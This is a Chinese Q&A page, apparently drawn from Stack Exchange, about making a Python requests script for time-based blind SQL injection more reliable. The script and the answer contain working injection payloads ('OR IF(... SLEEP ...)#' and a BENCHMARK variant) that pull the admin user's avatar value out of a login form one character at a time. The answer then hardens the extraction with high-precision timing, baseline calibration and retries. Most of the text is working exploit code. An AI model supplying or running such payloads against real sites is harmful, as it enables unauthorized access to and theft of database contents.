如何用Python Requests精准计算基于时间型SQL注入的请求耗时?
基于时间的SQL注入精准计时优化方案
问题背景
模拟SQLMap实现时间盲注时,目标字符触发SLEEP(5)后的实际耗时有时略低于5秒(如4.9秒),导致tempoTotal >= delay的匹配条件时而失效,无法稳定识别正确字符。
现有测试代码
import string import time import requests resultado = "" listaCaracteres = string.ascii_letters + string.digits + "._-@/" delay = 5 tamanhoCampo = 30 for i in range(1, tamanhoCampo+1): caracterFound = False for caracter in listaCaracteres: data = { "username": f"teste' OR IF((SELECT substring(avatar,{i},1) FROM users WHERE username='admin')='{caracter}',SLEEP({delay}),1)#", "password": "teste" } startTime = time.time() try: resp = requests.post(url, headers=headers, cookies=cookies, data=data) except Exception as e: # 修正原代码拼写错误:Exceptions → Exception print(e) endTime = time.time() tempoTotal = endTime - startTime print(f"[*] Pos. {i} {caracter} {tempoTotal}") if tempoTotal >= delay: print(f"[+] Caracter encontrado {caracter} {tempoTotal}") resultado += caracter caracterFound = True # 修正原代码拼写错误:caracterEncontrado → caracterFound delay = 5 break if not caracterFound: delay += 1 print(f"[*] Caracter não encontrado, aumentando o tempo de resposta para {delay} segundos") print(resultado)
调试结果
[*] 开始DUMP。 [*] 位置1 a 0.41757917404174805 [*] 位置1 b 0.42841196060180664 [*] 位置1 c 0.42807817459106445 [*] 位置1 d 1.420304536819458 [*] 位置1 e 0.4183344841003418 [*] 位置1 f 0.4205491542816162 [*] 位置1 g 0.41797685623168945 [*] 位置1 h 0.41671323776245117 [*] 位置1 i 0.41751718521118164 [*] 位置1 j 0.4145169258117676 [*] 位置1 k 0.4157712459564209 [*] 位置1 l 0.4163017272949219 [*] 位置1 m 0.41348886489868164 [*] 位置1 n 0.4273350238800049 [*] 位置1 o 0.42464113235473633 [*] 位置1 p 0.4265732765197754 [*] 位置1 q 0.4321424961090088 [*] 位置1 r 0.4281890392303467 [*] 位置1 s 0.41872739791870117 [*] 位置1 t 0.41807007789611816 [*] 位置1 u 4.920653581619263 [*] 位置1 v 0.41268229484558105 [*] 位置1 w 0.47426342964172363 [*] 位置1 x 0.4102909564971924 [*] 位置1 y 0.41750526428222656 [*] 位置1 z 0.41268014907836914 [*] 位置1 A 0.412386417388916 [*] 位置1 B 0.4086577892303467 [*] 位置1 C 0.41196632385253906
优化方案
1. 改用高精度计时函数
time.time()精度受系统时钟影响,改用time.perf_counter()——专门用于测量短时间间隔的高精度计时器,能减少计时误差:
startTime = time.perf_counter() # ... 请求代码 ... endTime = time.perf_counter() tempoTotal = endTime - startTime
2. 计算基准请求耗时校准阈值
网络波动、服务器基础响应延迟是不可避免的,直接和delay对比不合理。先发送多次无SLEEP的请求,计算平均基准耗时base_time,再用tempoTotal >= base_time + delay * 0.8作为判断条件(0.8为容错系数,可根据实际调整):
# 提前计算基准耗时:发送5次无sleep的请求取平均 base_time = 0 test_data = { "username": "teste' OR 1=1#", "password": "teste" } for _ in range(5): start = time.perf_counter() requests.post(url, headers=headers, cookies=cookies, data=test_data) end = time.perf_counter() base_time += (end - start) base_time /= 5 print(f"[*] 基准平均耗时:{base_time:.4f}秒") # 修改判断条件 if tempoTotal >= base_time + delay * 0.8:
3. 增加重试机制避免单次波动误判
对接近阈值的请求进行重试,取平均耗时再判断,避免单次网络波动导致的误判:
def get_request_time(data): try: start = time.perf_counter() requests.post(url, headers=headers, cookies=cookies, data=data) end = time.perf_counter() return end - start except Exception as e: print(e) return 0 # 在字符循环中使用重试逻辑 for caracter in listaCaracteres: data = { "username": f"teste' OR IF((SELECT substring(avatar,{i},1) FROM users WHERE username='admin')='{caracter}',SLEEP({delay}),1)#", "password": "teste" } # 首次请求 tempoTotal = get_request_time(data) print(f"[*] Pos. {i} {caracter} {tempoTotal}") # 接近阈值则重试2次取平均 threshold_low = base_time + delay * 0.7 threshold_high = base_time + delay * 1.3 if threshold_low <= tempoTotal <= threshold_high: print(f"[*] 重试Pos. {i} {caracter}") retry_times = 2 total_time = tempoTotal for _ in range(retry_times): t = get_request_time(data) total_time += t print(f"[*] 重试结果:{t}") avg_time = total_time / (retry_times + 1) if avg_time >= base_time + delay * 0.8: print(f"[+] Caracter encontrado {caracter} 平均耗时{avg_time:.4f}") resultado += caracter caracterFound = True break elif tempoTotal >= base_time + delay * 0.8: print(f"[+] Caracter encontrado {caracter} {tempoTotal}") resultado += caracter caracterFound = True break
4. 调整延迟逻辑(可选)
部分数据库的SLEEP函数可能受调度影响,可尝试用更稳定的延迟方式,比如MySQL的BENCHMARK:
data = { "username": f"teste' OR IF((SELECT substring(avatar,{i},1) FROM users WHERE username='admin')='{caracter}',BENCHMARK(10000000,MD5('test')),1)#", "password": "teste" }
总结
通过高精度计时、基准耗时校准、重试机制这三个核心优化,能大幅提升时间盲注的稳定性,避免因网络波动或服务器调度导致的误判。
内容的提问来源于stack exchange,提问作者Shinomoto Asakura
相关产品推荐
相关产品推荐

